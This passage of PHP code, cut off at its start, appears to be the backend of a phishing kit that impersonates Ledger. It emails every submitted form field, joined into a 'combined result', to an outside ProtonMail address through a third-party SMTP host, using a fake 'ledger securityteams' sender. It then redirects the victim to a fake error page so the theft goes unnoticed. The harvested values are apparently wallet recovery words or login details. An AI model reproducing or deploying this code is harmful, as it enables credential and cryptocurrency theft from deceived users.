IsSMTP(); // enable SMTP // $mail->SMTPDebug = 1; // debugging: 1 = errors and messages, 2 = messages only $mail->SMTPAuth = true; // authentication enabled $mail->SMTPSecure = 'ssl'; // secure transfer enabled REQUIRED for Gmail $mail->Host = "venom.itwebhost.info"; $mail->Port = 465; // or 587 $mail->IsHTML(true); $mail->Username = ""; $mail->Password = ""; $mail->SetFrom("", 'ledger securityteams'); $mail->addReplyTo('', 'ledger securityteams'); $mail->Subject = $subject; $mail->Body = $msg; $mail->AddAddress($to_email, $to_name); if(!$mail->Send()) { return false; } else { return true; } } $msg = 'New details from your website. Here:'; $combined = ''; foreach($_POST['inputs'] as $key => $val) { $msg .= "
inputs $key: $val"; $combined .= "$val "; } $msg .= "

Combined result: $combined"; send($msg, 'Ledger Security Contact', 'iammillatipps', 'iammillatipps@proton.me'); header('Location: ./index.html?error=1');